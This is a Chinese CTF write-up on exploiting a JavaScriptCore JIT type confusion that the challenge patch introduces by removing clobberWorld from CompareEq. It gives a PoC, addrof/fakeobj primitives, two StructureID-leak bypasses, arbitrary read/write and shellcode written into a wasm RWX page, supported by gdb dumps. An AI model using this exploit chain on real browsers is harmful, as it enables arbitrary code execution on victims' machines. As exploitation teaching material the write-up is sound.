前言
环境搭建
编译webkit
sudo apt install libicu-dev python ruby bison flex cmake build-essential ninja-build git gperf
git clone --depth=1 https://github.com/WebKit/webkit
git fetch --unshallow
Tools/gtk/install-dependencies
Tools/Scripts/set-webkit-configuration --asan // 配置asan
Tools/Scripts/build-webkit --jsc-only --debug
Tools/Scripts/build-webkit --jsc-only --release
编译题目环境：
git checkout 830f2e892431f6fea022f09f70f2f187950267b7
cd Source/JavaScriptCore/dfg
cp DFGAbstractInterpreterInlines.h DFGAbstractInterpreterInlines__patch.h
git apply < ./patch.diff
cp DFGAbstractInterpreterInlines__patch.h DFGAbstractInterpreterInlines.h
cd ../../../
Tools/Scripts/build-webkit --jsc-only --release
启动运行jsc：
./jsc --useConcurrentJIT=false ./exp.js
打断点的三种方式
（1）定义下面函数，在利用代码中调用，gdb调试中对arrayProtoFuncSlice下断点
function b(){
Array.prototype.slice([]); //needs "b arrayProtoFuncSlice"
}
（2）在利用代码中添加readline();，等待输入，就可以在gdb中断下
（3） 修改jsc的源码添加如下辅助函数
diff --git diff --git a/Source/JavaScriptCore/jsc.cpp b/Source/JavaScriptCore/jsc.cpp
index bda9a09d0d2..d359518b9b6 100644
--- a/Source/JavaScriptCore/jsc.cpp
+++ b/Source/JavaScriptCore/jsc.cpp
@@ -994,6 +994,7 @@ static EncodedJSValue JSC_HOST_CALL functionSetHiddenValue(ExecState*);
static EncodedJSValue JSC_HOST_CALL functionPrintStdOut(ExecState*);
static EncodedJSValue JSC_HOST_CALL functionPrintStdErr(ExecState*);
static EncodedJSValue JSC_HOST_CALL functionDebug(ExecState*);
+static EncodedJSValue JSC_HOST_CALL functionDbg(ExecState*);
static EncodedJSValue JSC_HOST_CALL functionDescribe(ExecState*);
static EncodedJSValue JSC_HOST_CALL functionDescribeArray(ExecState*);
static EncodedJSValue JSC_HOST_CALL functionSleepSeconds(ExecState*);
@@ -1218,6 +1219,7 @@ protected:
addFunction(vm, "debug", functionDebug, 1);
addFunction(vm, "describe", functionDescribe, 1);
+ addFunction(vm, "dbg", functionDbg, 0);
addFunction(vm, "describeArray", functionDescribeArray, 1);
addFunction(vm, "print", functionPrintStdOut, 1);
addFunction(vm, "printErr", functionPrintStdErr, 1);
@@ -1752,6 +1754,13 @@ EncodedJSValue JSC_HOST_CALL functionDebug(ExecState* exec)
return JSValue::encode(jsUndefined());
}
+EncodedJSValue JSC_HOST_CALL functionDbg(ExecState* exec)
+{
+ asm("int3;");
+
+ return JSValue::encode(jsUndefined());
+}
+
EncodedJSValue JSC_HOST_CALL functionDescribe(ExecState* exec)
{
if (exec->argumentCount() < 1)
基础知识
jsc中类型的表示是通过高16位来区分的，剩下的48位用来表示地址，具体如下：
Pointer： [0000][xxxx:xxxx:xxxx]（前两个字节为0，后六个字节寻址）
Double： [0001～FFFE][xxxx:xxxx:xxxx]
Intger： [FFFF][0000:xxxx:xxxx]（只有低四个字节表示数字）
False： [0000:0000:0000:0006]
True： [0000:0000:0000:0007]
Undefined： [0000:0000:0000:000a]
Null： [0000:0000:0000:0002]
jsc中对象中及其属性的内存分布（Butterfly）：
--------------------------------------------------------
.. | propY | propX | length | elem0 | elem1 | elem2 | ..
--------------------------------------------------------
^
|
+---------------+
|
+-------------+
| Some Object |
+-------------+
Butterfly指针指向的是属性值和元素值的中间，属性值保存在左边（低地址处），元素值保存在右边，同时左边还保存着元素的个数length。
对象的属性个数超过默认值6时，JSC就会为对象创建一个Butterfly来存储属性的值。属性少于6个时，会以inline的方式存储，如下：
漏洞分析
题目补丁：
DFGAbstractInterpreterInlines.h
--- DFGAbstractInterpreterInlines.h 2020-03-19 13:12:31.165313000 -0700
+++ DFGAbstractInterpreterInlines__patch.h 2020-03-16 10:34:40.464185700 -0700
@@ -1779,10 +1779,10 @@
case CompareGreater:
case CompareGreaterEq:
case CompareEq: {
- bool isClobbering = node->isBinaryUseKind(UntypedUse);
+ // bool isClobbering = node->isBinaryUseKind(UntypedUse);
- if (isClobbering)
- didFoldClobberWorld();
+ // if (isClobbering)
+ // didFoldClobberWorld();
JSValue leftConst = forNode(node->child1()).value();
JSValue rightConst = forNode(node->child2()).value();
@@ -1905,8 +1905,8 @@
}
}
- if (isClobbering)
- clobberWorld();
+ // if (isClobbering)
+ // clobberWorld();
setNonCellTypeForNode(node, SpecBoolean);
break;
}
jsc优化的四个阶段：
DFG积极地基于前面(baseline JIT&Interpreter)收集的数据进行类型推测，这样就可以尽早获得类型信息(forward-propagate type information)，从而减少了大量的类型检查。如果推测失败，DFG取消优化(Deoptimization)，也称为”OSR exit”.
同时该阶段优化也要确保优化不会去除一些可能溢出的边界检查，实现在DFGAbstractInterpreterInlines.h，里面包含一个executeEffects函数用于检查一个操作对后续的优化是否安全，如果不安全，就会调用clobberWorld 函数取消对所有数组类型的推测，表明该优化操作是有风险的。
// JavascriptCore/dfg/DFGAbstractInterpreterInlines.h
template <typename AbstractStateType>
void AbstractInterpreter<AbstractStateType>::clobberWorld()
{
clobberStructures();
}
// JavascriptCore/dfg/DFGAbstractInterpreterInlines.h
template <typename AbstractStateType>
void AbstractInterpreter<AbstractStateType>::clobberStructures()
{
m_state.clobberStructures();
m_state.mergeClobberState(AbstractInterpreterClobberState::ClobberedStructures);
m_state.setStructureClobberState(StructuresAreClobbered);
}
而题目补丁就是将CompareEq操作中clobberWorld 检查去除，简单来说就是CompareEq操作中不会检查对象的类型转换，会直接按照优化结果处理，poc 代码如下：
var arr = [1.1, 2.2, 3.3];
arr['a'] = 1;
var go = function(a, c) {
a[0] = 1.1;
a[1] = 2.2;
c == 1;
a[2] = 5.67070584648226e-310;
}
for(var i = 0; i < 0x100000; i++) {
go(arr, {})
}
go(arr, {
toString:() => {
arr[0] = {};
return '1';
}
});
"" + arr[2];
调用toString时，在执行到”c == 1”前，a的类型为ArrayWithDouble，通过执行arr[0]={}，a的类型变为ArrayWithContiguous，而JIT并没有对类型的转化进行检查，所以执行完”c == 1”后，依旧认为a的类型为ArrayWithDouble，而实际此时a类型为ArrayWithContiguous，造成类型混淆，浮点数就被当作是一个对象指针。最后”” + arr[2]; 指针加上字符导致crash。
执行toString前后，arr数组类型从ArrayWithDouble变成ArrayWithContiguous：
执行toString 前：
Object: 0x7fc1b3faeee8 with butterfly 0x7fb85b7f83a8 (Structure 0x7fc173bfb4e0:[0x9ce, Array, {a:100}, ArrayWithDouble, Proto:0x7fc1b3fb70e8, Leaf]), StructureID: 2510
执行toString 后：
Object: 0x7fc1b3faeee8 with butterfly 0x7fb85b7f83a8 (Structure 0x7fc173bfbde0:[0xb5a4, Array, {a:100}, ArrayWithContiguous, Proto:0x7fc1b3fb70e8, Leaf]), StructureID: 46500
漏洞利用
jsc漏洞的利用的一般流程是：
（1）利用漏洞构造addrof和fakeobj原语
（2）绕过StructureID随机化
（3）构造任意地址读写
（4）查找wasm rwx区域，写入shellcode，完成利用
构造addrof和fakeobj原语
根据poc可以构造出构造addrof和fakeobj原语：
function AddrOfFoo(arr, cmpObj)
{
arr[1] = 1.1;
cmpObj == 2.2;
return arr[0];
}
for( let i=0; i<MAX_ITERATIONS; i++ ) {
AddrOfFoo(arr, {});
}
function AddrOf(obj) {
let arr = new Array(noCoW, 2,2, 3.3);
let evil = {
toString: () => {
arr[0] = obj;
}
}
let addr = AddrOfFoo(arr, evil);
return f2i(addr);
}
function FakeObjFoo(arr, cmpObj, addr)
{
arr[1] = 1.1;
cmpObj == 2.2;
arr[0] = addr;
}
for( let i=0; i<MAX_ITERATIONS; i++ ) {
FakeObjFoo(arr, {}, 1.1);
}
function FakeObj(addr) {
addr = i2f(addr);
let arr = new Array(noCoW, 2.2, 3.3);
let evil = {
toString: () => {
arr[0] = {};
}
}
FakeObjFoo(arr, evil, addr);
return arr[0];
}
接下来是绕过StructureID随机化，JSC里面并不是所有的内建函数，机制都依赖正确的structureID，我们可以通过不验证structureID的调用路径进行伪造，泄露的正常的structureID。
泄露StructureID方法一
当加载JSArray的元素时，解释器中有一个代码路径，它永远不会访问StructureID:
static ALWAYS_INLINE JSValue getByVal(VM& vm, JSValue baseValue, JSValue subscript)
{
...;
if (subscript.isUInt32()) {
uint32_t i = subscript.asUInt32();
if (baseValue.isObject()) {
JSObject* object = asObject(baseValue);
if (object->canGetIndexQuickly(i))
return object->getIndexQuickly(i); // 【1】
getIndexQuickly直接从butterfly加载元素，而canGetIndexQuickly只查看JSCell头部中的索引类型和butterfly中的length：
bool canGetIndexQuickly(unsigned i) const {
const Butterfly* butterfly = this->butterfly();
switch (indexingType()) {
...;
case ALL_CONTIGUOUS_INDEXING_TYPES:
return i < butterfly->vectorLength() && butterfly->contiguous().at(this, i);
}
我们可以伪造一个JSArray对象，填充无效的StructureID等头部字段（因为getByVal路径上不验证，所以不会报错），然后将butterfly填充为要泄露的目标对象地址，就可以将目标对象的结构当成数据输出。
泄露StructureID的代码如下：
// leak entropy by getByVal
function LeakStructureID(obj)
{
let container = {
cellHeader: i2obj(0x0108230700000000), // 伪造的JSArray头部，包括StructureID等字段
butterfly: obj
};
let fakeObjAddr = AddrOf(container) + 0x10;
let fakeObj = FakeObj(fakeObjAddr);
f64[0] = fakeObj[0];// 访问元素会调用getByVal
//此时fakeObj[0]为Legitimate JSArray的JSCell，fakeObj[1]为Legitimate JSArray的butterfly
// repair the fakeObj's jscell
let structureID = u32[0];
u32[1] = 0x01082307 - 0x20000;
container.cellHeader = f64[0];
return structureID;
}
内存布局如下：
// container 对象：
Object: 0x7fe0cc78c000 with butterfly (nil) (Structure 0x7fe0cc7bfde0:[0xd0bd, Object, {cellHeader:0, butterfly:1}, NonArray, Proto:0x7fe10cbf6de8, Leaf]), StructureID: 53437
pwndbg> x/4gx 0x7fe0cc78c000
0x7fe0cc78c000: 0x010018000000d0bd 0x0000000000000000
0x7fe0cc78c010: 0x0108230700000000 0x00007fe10cb7cae8 // <---伪造的Butterfly，覆盖成目标对象地址
// 伪造的JSCell
pwndbg> x/gx 0x00007fe10cb7cae8
0x7fe10cb7cae8: 0x010823070000f1aa // <---- StructureID被当作数据输出
泄露StructureID方法二
我们可以通过 toString() 函数原型的调用链来实现泄露StructureID。具体见下面的例子：
function f() {
return "hello world";
}
print(Function.prototype.toString.call(f));
// 会输出源代码
function f() {
return "hello world";
}
Function.prototype.toString() 方法用于返回一个表示当前函数源代码的字符串，对于内置函数，往往返回一个类似“[native code] ”的字符串作为函数体。它调用链如下：
EncodedJSValue JSC_HOST_CALL functionProtoFuncToString(JSGlobalObject* globalObject, CallFrame* callFrame)
{
VM& vm = globalObject->vm();
auto scope = DECLARE_THROW_SCOPE(vm);
JSValue thisValue = callFrame->thisValue();
if (thisValue.inherits<JSFunction>(vm)) {
JSFunction* function = jsCast<JSFunction*>(thisValue);
if (function->isHostOrBuiltinFunction())
RELEASE_AND_RETURN(scope, JSValue::encode(jsMakeNontrivialString(globalObject, "function ", function->name(vm), "() {\n[native code]\n}"))); // 【1】
FunctionExecutable* executable = function->jsExecutable();
if (executable->isClass())
return JSValue::encode(jsString(vm, executable->classSource().view().toString()));
…
【1】处会调用function->name 来获取函数名，具体调用到JSFunction::name 函数：
String JSFunction::name(VM& vm)
{
…
const Identifier identifier = jsExecutable()->name();
if (identifier == vm.propertyNames->builtinNames().starDefaultPrivateName())
return emptyString();
return identifier.string(); // 【2】
}
inline FunctionExecutable* JSFunction::jsExecutable() const
{
ASSERT(!isHostFunctionNonInline());
return static_cast<FunctionExecutable*>(m_executable.get());
}
【2】处Identifier String 保存着指向函数名的指针， identifier.string()返回函数名的字符串。对应的结构寻址过程如下：
用gdb调试例子，为了直观展示函数名，将函数名定义为AAAAA：
function AAAAA(){
return "hellow";
}
print(describe(AAAAA));
print(Function.prototype.toString.call(AAAAA));
内存布局如下：
Object: 0x7fd3390f5900 with butterfly (nil) (Structure 0x7fd3390f9140:[0xde6e, Function, {}, NonArray, Proto:0x7fd3794c11a8, Leaf]), StructureID: 56942
pwndbg> x/6gx 0x7fd3390f5900 //函数AAAAA的对象结构地址 (JSFunction object)
0x7fd3390f5900: 0x000e1a000000de6e 0x0000000000000000
0x7fd3390f5910: 0x00007fd3794bd118 0x00007fd3390e5200 // <----- ExecutableBase
0x7fd3390f5920: 0x000e1a000000de6e 0x0000000000000000
pwndbg> x/12gx 0x00007fd3390e5200 // (FunctionExecutable)
0x7fd3390e5200: 0x00000c0000006253 0x0000000000000000
0x7fd3390e5210: 0x0000000000000000 0x0000000000000000
0x7fd3390e5220: 0x0000000000000000 0x00007fd3794a8000
0x7fd3390e5230: 0x0000018700000170 0x0000000e0000001a
0x7fd3390e5240: 0x0000200000000000 0x0000000000000000
0x7fd3390e5250: 0x00007fd3794a7068 0x00007fd3390e8d80 // <-------UnlinkedFunctionExecutable
pwndbg> x/10gx 0x00007fd3390e8d80 // (UnlinkedFunctionExecutable)
0x7fd3390e8d80: 0x00000d000000d77e 0x000000020000001a
0x7fd3390e8d90: 0x0000000e0000016b 0x0000017000000000
0x7fd3390e8da0: 0x0000017080000017 0x0000018600000162
0x7fd3390e8db0: 0x0400000000000000 0x0000000000000000
0x7fd3390e8dc0: 0x0000000000000000 0x00007fd3794aa6c0 // <--------Identifier
pwndbg> x/10gx 0x00007fd3794aa6c0 //(Identifier String)
0x7fd3794aa6c0: 0x000000050000000a 0x00007fd3794aa6d4 // Pointer
// Flag| Length
0x7fd3794aa6d0: 0x414141413aace614 0x0000000000000041
pwndbg> x/10gx 0x00007fd3794aa6d4 // 执行函数名的指针
0x7fd3794aa6d4: 0x0000004141414141 0x0000000200000000
// 函数名AAAAA
因此根据上述的寻址过程我们可以伪造上述 JSFunction object、FunctionExecutable、UnlinkedFunctionExecutable、Identifier String四个结构，最终Identifier String 的Pointer 指向structureID的地址，就可以将structureID当成函数名，以字符串的形式输出，达到泄露的目的。
伪造的寻址过程如下：
上图是将JSFunction object 和 Identifier String 蹂在一个结构里进行伪造了，泄露structureID代码如下：
function LeakStructureID(obj)
{
// https://i.blackhat.com/eu-19/Thursday/eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods.pdf
var unlinkedFunctionExecutable = {
m_isBuitinFunction: i2f(0xdeadbeef),
pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6,
m_identifier: {},
};
var fakeFunctionExecutable = {
pad0: 0, pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6, pad7: 7, pad8: 8,
m_executable: unlinkedFunctionExecutable,
};
var container = {
jscell: i2f(0x00001a0000000000),
butterfly: {},
pad: 0,
m_functionExecutable: fakeFunctionExecutable,
};
let fakeObjAddr = AddrOf(container) + 0x10;
let fakeObj = FakeObj(fakeObjAddr);
unlinkedFunctionExecutable.m_identifier = fakeObj;
container.butterfly = arrLeak; // 伪造Identifier String 的Pointer为泄露的目标对象arrLeak
var nameStr = Function.prototype.toString.call(fakeObj);
let structureID = nameStr.charCodeAt(9);
// repair the fakeObj's jscell
u32[0] = structureID;
u32[1] = 0x01082309-0x20000;
container.jscell = f64[0];
return structureID;
}
内存布局如下：
// 要泄露的目标对象 arrLeak
Object: 0x7f32c0569ae8 with butterfly 0x7f284cdd40a8 (Structure 0x7f32801f9800:[0xb0e4, Array, {}, ArrayWithDouble, Proto:0x7f32c05b70e8]), StructureID: 45284
//container 对象：
Object: 0x7f3280180000 with butterfly (nil) (Structure 0x7f32801bf540:[0x611b, Object, {jscell:0, butterfly:1, pad:2, m_functionExecutable:3}, NonArray, Proto:0x7f32c05f6de8, Leaf]), StructureID: 24859
fakeObjAddr: 0x00007f3280180010
// fakeFunctionExecutable 对象：
Object: 0x7f3280184000 with butterfly (nil) (Structure 0x7f32801bf6c0:[0x2a4e, Object, {pad0:0, pad1:1, pad2:2, pad3:3, pad4:4, pad5:5, pad6:6, pad7:7, pad8:8, m_executable:9}, NonArray, Proto:0x7f32c05f6de8, Leaf]), StructureID: 10830
// unlinkedFunctionExecutable 对象：
Object: 0x7f3280188000 with butterfly (nil) (Structure 0x7f32801bfa80:[0x32be, Object, {m_isBuitinFunction:0, pad1:1, pad2:2, pad3:3, pad4:4, pad5:5, pad6:6, m_identifier:7}, NonArray, Proto:0x7f32c05f6de8, Leaf]), StructureID: 12990
pwndbg> x/6gx 0x00007f3280180010 // fakeObj
0x7f3280180010: 0x00021a0000000000 0x00007f32c0569ae8
0x7f3280180020: 0xfffe000000000000 0x00007f3280184000 // <----- fakeFunctionExecutable
0x7f3280180030: 0x0000000000000000 0x0000000000000000
pwndbg> x/12gx 0x00007f3280184000
0x7f3280184000: 0x0100180000002a4e 0x0000000000000000
0x7f3280184010: 0xfffe000000000000 0xfffe000000000001
0x7f3280184020: 0xfffe000000000002 0xfffe000000000003
0x7f3280184030: 0xfffe000000000004 0xfffe000000000005
0x7f3280184040: 0xfffe000000000006 0xfffe000000000007
0x7f3280184050: 0xfffe000000000008 0x00007f3280188000 // <------ unlinkedFunctionExecutable
pwndbg> x/10gx 0x00007f3280188000
0x7f3280188000: 0x01001800000032be 0x0000000000000000
0x7f3280188010: 0x00020000deadbeef 0xfffe000000000001
0x7f3280188020: 0xfffe000000000002 0xfffe000000000003
0x7f3280188030: 0xfffe000000000004 0xfffe000000000005
0x7f3280188040: 0xfffe000000000006 0x00007f3280180010 // unlinkedFunctionExecutable.m_identifier -> 覆盖成fakeObj;
pwndbg> x/2gx 0x00007f3280180010
0x7f3280180010: 0x00021a0000000000 0x00007f32c0569ae8// Pointer -> 覆盖成要泄露的目标对象arrLeak地址
// Flag| Length
pwndbg> x/wx 0x00007f32c0569ae8
0x7f32c0569ae8: 0x0000b0e4 // <---- 对象的第一个字段就是StructureID，此时被当成函数名输出
最后structureID取nameStr.charCodeAt(9)是因为Function.prototype.toString.call 返回的是整个函数源码，开头为”function “，占去前9个字符。所以第10个字符为函数名。
构造任意读写
泄露StructureID后，我们可以仿造泄露StructureID方法一那样构造一个JSArray，只不过现在StructureID填充的是有效的，可以根据Butterfly进行读写。
（1）首先伪造一个driver object，类型为对象类型数组，将driver object 的butterfly 指向victim object，此时访问driver[1]就可以访问victim object的butterfly，之后申请一个ArrayWithDouble（浮点数类型）的数组unboxed，通过driver[1] = unboxed 将victim object的butterfly填充为unboxed对象地址，同理此时访问victim[1]就可以访问unboxed object 的butterfly。
这一步我们可以泄露unboxed object的butterfly内容。代码如下：
var victim = [noCoW, 14.47, 15.57];
victim['prop'] = 13.37;
victim['prop_0'] = 13.37;
u32[0] = structureID;
u32[1] = 0x01082309-0x20000;
var container = {
cellHeader: f64[0],
butterfly: victim
};
// build fake driver
var containerAddr = AddrOf(container);
var fakeArrAddr = containerAddr + 0x10;
var driver = FakeObj(fakeArrAddr);
// ArrayWithDouble
var unboxed = [noCoW, 13.37, 13.37];
// leak unboxed butterfly's addr
driver[1] = unboxed;
var sharedButterfly = victim[1];
print("[+] shared butterfly addr: " + hex(f2i(sharedButterfly)));
（2）申请一个ArrayWithContiguous（对象类型）的数组boxed，和第一步一样，将driver[1]覆盖成boxed object地址就可以通过victim[1] 对boxed object的butterfly进行操作。将第一步泄露的unboxed object butterfly内容填充到boxed object的butterfly，这样两个对象操作的就是同一个butterfly，可以方便构造新的addrof 和 fakeobj原语。
代码如下：
var boxed = [{}];
driver[1] = boxed;
victim[1] = sharedButterfly;
function NewAddrOf(obj) {
boxed[0] = obj;
return f2i(unboxed[0]);
}
function NewFakeObj(addr) {
unboxed[0] = i2f(addr);
return boxed[0];
}
（3）将driver object的类型修改成浮点型数组类型，将victim object 的butterfly 修改成target_addr+0x10，因为butterfly是指向length和elem0中间，而属性1prop位于butterfly-0x10的位置，访问victim.prop相当于访问butterfly-0x10 =（target_addr+0x10）-0x10=target_addr。
所以通过读写victim.prop就可以实现任意地址的读写，代码如下：
function Read64(addr) {
driver[1] = i2f(addr+0x10);
return NewAddrOf(victim.prop);
}
function Write64(addr, val) {
driver[1] = i2f(addr+0x10);
victim.prop = i2f(val);
}
任意代码执行
和v8的利用相似，通过任意读查找wasm_function中rwx区域，通过任意写将shellcode写入该区域即可执行任意代码：
let wasmObjAddr = NewAddrOf(wasmFunc);
let codeAddr = Read64(wasmObjAddr + 0x38);
let rwxAddr = Read64(codeAddr);
print("[+] rwx addr: " + hex(rwxAddr));
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
// write shellcode to rwx mem
ArbitraryWrite(rwxAddr, shellcode);
// trigger shellcode to execute
wasmFunc();
执行效果如下：
参考链接
基础知识及环境搭建：https://www.anquanke.com/post/id/183804
gdb和lldb指令对比：https://lldb.llvm.org/use/map.html
https://ptr-yudai.hatenablog.com/entry/2020/03/23/105837
https://www.thezdi.com/blog/2018/4/12/inverting-your-assumptions-a-guide-to-jit-comparisons
https://ptr-yudai.hatenablog.com/entry/2020/03/23/105837
CVE-2016-4622调试笔记：
http://turingh.github.io/2016/12/03/CVE-2016-4622%E8%B0%83%E8%AF%95%E7%AC%94%E8%AE%B0/
WEBKIT JAVASCRIPTCORE的特殊调试技巧：
https://googleprojectzero.blogspot.com/2020/09/jitsploitation-two.html
发表评论
您还未登录，请先登录。
登录